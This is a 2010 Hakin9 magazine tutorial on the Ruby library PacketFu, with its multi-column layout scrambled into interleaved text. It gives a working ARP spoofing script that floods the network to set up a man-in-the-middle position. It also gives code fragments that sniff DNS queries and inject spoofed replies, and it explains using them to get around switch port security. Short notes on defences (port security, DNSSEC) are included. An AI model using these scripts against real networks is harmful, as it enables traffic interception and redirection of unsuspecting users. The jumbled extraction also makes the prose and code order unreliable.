Manipulating the network with packet fu

ATTACK
Manipulating
KEITH LEE

The Network
Difficulty
with PacketFu
PacketFu is a mid level packet manipulation library written in
Ruby. The purpose of PacketFu was to make it easier for people
for crafting and manipulating network packets in Ruby.

T
he PacketFu project was started in August To learn about the format about the network
2008 by Tod Breadsley from BreakingPoint packets, you can read the request for comment (RFC)
Systems. The reason for this project was or if you are more of a practical type of person. You
that there wasn’t any easy to use packet crafting could be running wireshark side along with some
and manipulation library for Ruby. PacketFu was linux commands/tools to generate the network
built on top of PcabRub library.. packets and capture/analyze the packets in wireshark
PacketFu is currently included as a library (that’s if the protocol is supported in wireshark).
inside Metasploit pentesting framework which For example, to understand what comprises
is extremely useful if you are planning to of a dns request/response packet, you could
code custom networking related modules in run nslookup and capture the request/response
metasploit. packet with wireshark by listening passively on a
The best way to use PacketFu is to run it in wireless network interface (see Table 1).
Ubuntu or to download a copy of Backtrack 4. The Let’s look at how an ARP spoof packet looks
next thing you should do is to checkout the latest like in wireshark
svn release of PacketFu (see Figure 1).

ARP Spoofing with
PacketFu
In this exercise, we are going to learn
to how to create address resolution
protocol (ARP) spoofing packets and
also create domain name services
(DNS) spoofing packets with PacketFu.
ARP spoofing allows you to perform
a man in the middle (MITM) attack on
the target. Effectively, it is sending a ARP
WHAT YOU WILL packet to the target saying that the target
LEARN...
that your host computer is the gateway
How to craft packets in Ruby Figure 2. Fields that incoming DNS responses are checked for
instead of the real gateway.
WHAT SHOULD YOU
KNOW...
Basics in programming Figure 1. Checking out the SVN source for packetfu

32 HAKIN9 2/2010

MANIPULATING THE NETWORK WITH PACKETFU

Under the Ethernet section of the ARP target machine. That’s basically the only PacketFu is currently not possible to
packet, you will find 3 fields (Destination, checks that the client does. You do not bind to an interface with an IP address.
Source and Type). need to spoof the sender IP address / A chat with the author mentions that
I have specified the Destination MAC ethernet address in your DNS response this might change in future. A current
address to be FF:FF:FF:FF:FF:FF packet (see Figure 2). workaround that I am using is to use two
which is the broadcast address of the
Table 1. Fields of ARP Packet as shown in Wireshark
network. That means that all computers
in the network will receive this ARP packet. Ethernet II
Change this to the MAC address to the Destination: Broadcast (ff:ff:ff:ff:ff:ff)
target computer if you want to be more Source: 11:22:33:44:55:66 (11:22:33:44:55:66)
Type: ARP (0x0806)
specific.
The source address would be that Address Resolution
of the gateway and the type would be Protocol
0x0806 in order for it to be classified as Hardware Type: Ethernet (0x0001)
an ARP packet. Protocol Type: IP (0x0800)
The next few sections in Address Hardware Size: 6
Protocol Size: 4
Resolution Protocol (ARP) is pretty
Opcode: Reply (0x0002)
standard with the exception of Opcode. 11:22:33:44:55:66 (11:22:33:44:55:66)
Sender MAC Address:
You must specify a value of 0x0002 Sender IP Address: 10.7.3.1 (10.7.3.1)
for it to be a ARP reply instead of ARP Target MAC Address: Broadcast (FF:FF:FF:FF:FF:FF)
request packet. You would create an ARP Target IP Address: 0.0.0.0
request packet (0x0001) if you would like
to know the MAC address of a certain Table 2. Matching of between ARP packet fields and attributes in PacketFu
IP address in the network. Let’s now dive Packet Structure as shown in Wireshark Attributes as used
into the coding portion of this exercise. in PacketFu
The table shows the relevant attributes Ethernet II
that we need to specify in PacketFu when Destination: Broadcast (FF:FF:FF:FF:FF:FF)
defining the packet (see Table 2). Source: 11:22:33:44:55:66 eth_daddr
Type: ARP (0x0806) eth_saddr
Defending Against ARP Address Resolution Protocol
Spoofing In Your Network Hardware Type: Ethernet (0x0001)
It is possible to protect your users in Protocol Type: IP (0x0800)
Hardware Size: 6
the network against ARP spoofing by
Protocol Size: 4
enable port security in the switch. Port Opcode: Reply (0x0002) arp _ opcode
security makes it possible to make sure Sender MAC Address: 11:22:33:44:55:66 (11:22:33:44:55:66) arp _ saddr _ mac
that there is only one Mac address Sender IP Address: 10.7.3.1 (10.7.3.1) arp _ saddr _ ip
behind each port of the switch. Some Target MAC Address: Broadcast (FF:FF:FF:FF:FF:FF) arp _ daddr _ mac
switches do allow you to disable the Target IP Address: 0.0.0.0 arp _ daddr _ ip

port or/and alert you about the issue Table 3. Source code for ARP Spoofing
via simple network management
Line Code
protocol (SNMP).
1 #!/usr/bin/env ruby

Spoof DNS Replies to Client 2 require ‘packetfu’
3 $ipcfg = PacketFu::Utils.whoami?(:iface=>'eth0')
Hosts with PacketFu 4 puts "ARP spooﬁng the network..."
In the next exercise, we will learn about 5 arp _ pkt = PacketFu::ARPPacket.new(:ﬂavor => "Windows")
how to write your own DNS spoofing 6 arp _ pkt.eth _ saddr = "00:00:00:00:00:00"
script with PacketFu. 7 arp _ pkt.eth _ daddr = "FF:FF:FF:FF:FF:FF"
How do you work around this port 8 arp _ pkt.arp _ saddr _ mac = $ipcfg[:eth _ saddr]

security feature to attack the target user? 9 arp _ pkt.arp _ daddr _ mac = "FF:FF:FF:FF:FF"
10 arp _ pkt.arp _ saddr _ ip = '192.168.1.1'
One method is to use DNS spoofing.
11 arp _ pkt.arp _ daddr _ ip = "0.0.0.0"
When the target sends out a DNS 12 arp _ pkt.arp _ opcode = 2
lookup request to DNS server, the 13 caught=false
first DNS response packet received 14 while caught==false do
matching the same transaction ID and 15 arp _ pkt.to _ w('eth0')
16 end
source port will be accepted by the

2/2010 HAKIN9 33

ATTACK
wireless network cards. One in monitor
mode and another in managed mode.
The traffic is redirected from the monitor
interface mon0 to at0 using Airtun-ng. An
IP address is set on at0 interface. The
script is then bind to the at0 interface to
capture packets.
There are two functions which I will
explain in the POC code shown below.
The first function sniffDNSPacket()
will parse each packet sniffed at the
network interface.
The second function
generateSpoofPacket() will be called
when it detects a DNS request packet.

Parsing Packets with
PacketFu
Let’s look at how to perform packet
parsing in PacketFu.
The below code specifies the network
interface to listen to. For the current version
of PacketFu, the network interface must
be bind to an IP address. If not, it will not
work. We have specified the options below
to start the capture process and to save
the packets captured at the interface (see
Figure 3).
A filter is set to only capture packets
Figure 3. POC Source code for Client DNS Spoofing
that match the criteria udp and port 53.
If you have used wireshark before, this
capture filter should be familiar to you.

pkt_array = PacketFu::
Capture.new(:iface => 'wlan0',
:start => true, :ﬁlter =>
'udp and port 53', :save=>true)

Next, we iterate through each packets
in the network packet stream captured
at the interface. It checks to see if the
Figure 4. The payload in DNS query packet packet is empty. If the packet is not
empty, we convert the character string
representation of the packet back into a
PacketFu packet.

caught = false
while caught==false do
pkt_array.stream.each do |p|
if PacketFu::Packet.has_data?
pkt = PacketFu::
Packet.parse(p)

As shown in the below wireshark
Figure 5. The transaction ID of DNS query packet in hexadecimal screenshot. We have identified the data

34 HAKIN9 2/2010

MANIPULATING THE NETWORK WITH PACKETFU

portion (payload) of the DNS query. The Table 4. Explains the source code listed in table 3
data portion is also known as the payload
Line 2 Imports the packetfu library.
in PacketFu (see Figure 4).
In the below screen, I have highlighted PacketFu::Utils:whoami?(iface=>’eth0’) is a useful function which
the transaction ID, the information is Line 3 allows you to get information about your network interface (e.g. MAC/IP
address)
stored in the first 2 bytes of the payload. In All information about the network interface is stored in the hash $ipcfg[]
order to identify if it’s a DNS query, the next
Line 5 Defines an ARP packet with “windows” flavor. You can replace it with “linux”
variable would contain the information we
too
need. x01x00 (see Figure 5).
In the below code, we extract the 3rd Line 8 Source Ethernet Mac Address
(If you want to spoof it as packets send from the gateway. Change it to the
and 4th byte of the payload. Since the
MAC address of that of the gateway)
bytes are represented in hexadecimal Extract the host MAC address information from the hash $ipcfg[]
values, we need to change it to base=16. Other hash values that can be accessible from $ipcfg[] are : eth _ erc , :
ip _ saddr, :ip _ src , : eth _ dst and eth _ daddr
$dnsCount = pkt.payload[2].to_s(base
=16)+pkt.payload[3].to_ Line 9 Destination MAC Address
s(base=16) (Enter the MAC address of the target computer. Enter FF:FF:FF:FF:FF:FF if
$domainName="" you want to target any computers in the network)
if $dnsCount=='10' Line 10 ARP Packet Source IP Address
Line 11 ARP Packet Destination IP Address
The domain name queries starts at 13
byte of the payload. The13th byte specifies Line 12 Specifies the Opcode of the ARP packet.
Opcode of 1 means ARP Request.
the length of the domain name before
Opcode of 2 means ARP Response
the dot com. The dot in front of the com
is represented by a x03. The end of the Line 15 Using an infinite loop, arp spoof packets are sent to the eth0 interface
domain name string is terminated by a
Table 5. Table showing the list of DNS lookups
x00.
The next 2 bytes refers to the type of Type Value Description
the query. You can use the below table for A 1 IP Address
reference. You will need to convert it to hex
values (Table 4). NS 2 Name Server
From the below code, the script reads CNAME 5 Alias of a domain name
each byte of the payload from the 13 byte
until it hits a x00 which it terminates. We PTR 12 Reverse DNS Lookup using the IP Address
convert the hex value of the domain name HINFO 13 Host Information
back into ASCII characters using the
MX 15 MX Record
.hex.chr function (see Figure 8).
In the below code, we check to see AXFR 252 Request for Zone Transfer
if the next 2 bytes in the payload after
ANY 255 Request for All Records
the terminator x00 of the domain name
contains a value of 1. If it does, we call
our function generateDNSResponse() to
send out a spoof DNS packet (see Figure
9, 10).

Figure 6. The domain name queried in DNS lookup as shown in the payload
Generating Spoofed DNS
Response
Next, we will move on to
generateDNSResponse() function.
If you are converting a character
stream to binary, you will need to use the
pack(c*) function. The c word represents
a character and * means convert
everything in the array from character to
binary. Figure 7. The type of DNS lookup. Type A refers to IP Address

2/2010 HAKIN9 35

ATTACK
Further Resources
• PacketFu Google Code Site: http:
//code.google.com/p/packetfu/
• Tod Breadsley’s Blog: http://www.planb-
security.net/
• Backtrack 4 download link: http:
//www.remote-exploit.org/backtrack_
download.html
• Metasploit Framework: http://
www.metasploit.com/

In the early part of the script,
$yourIPAddress is replaced with the fake
Figure 8. Code checks to see if its a DNS query packet and extracts domain name
queried IP address of the domain you want the
client to be directed to.
The function .recalc recalculates all
fields for all headers in the packet and
generates the packet.
The function .to _ w writes to packet
to the interface wlan0 in this example (see
Figure 11).
Figure 9. Code that parse the DNS query packet and injects response if DNS query For the transaction ID, it is represented
type is A in 2 bytes of hexadecimal values (e.g.
01FF). In order to write the values x01
xFF directly inside the payload of the DNS
response, you need to parse the values
thru the function . hex.chr.
That is basically how the POC script
works.

Defending Against Client
Figure 10. Type of DNS query is expressed in this portion of the payload DNS Spoofing Attack
So how do you defend against this type of
client DNS spoofing attack? DNS security
(DNSSEC) adds origin authentication and
integrity. This makes it possible for client to
verify DNS responses.
DNSSEC is currently supported
in Windows Server 2008 R2 (Server
and Client) and Windows 7 (Client). For
more information on using DNSSEC in
Windows environment, check out http:
//technet.microsoft.com/en-us/library/ee6
49277%28WS.10%29.aspx.
It is indeed very easy to get started
with PacketFu. Give it a try and you won’t
Figure 11. xxxxxxxx regret it by its ease of use.

Keith Lee
You can reach me by the below means:
Email: keith.lee2012[at]gmail.com
Twitter: @keith55
Figure 12. The transaction Blog: http://milo2012.wordpress.com

36 HAKIN9 2/2010

Manipulating the network with packet fu

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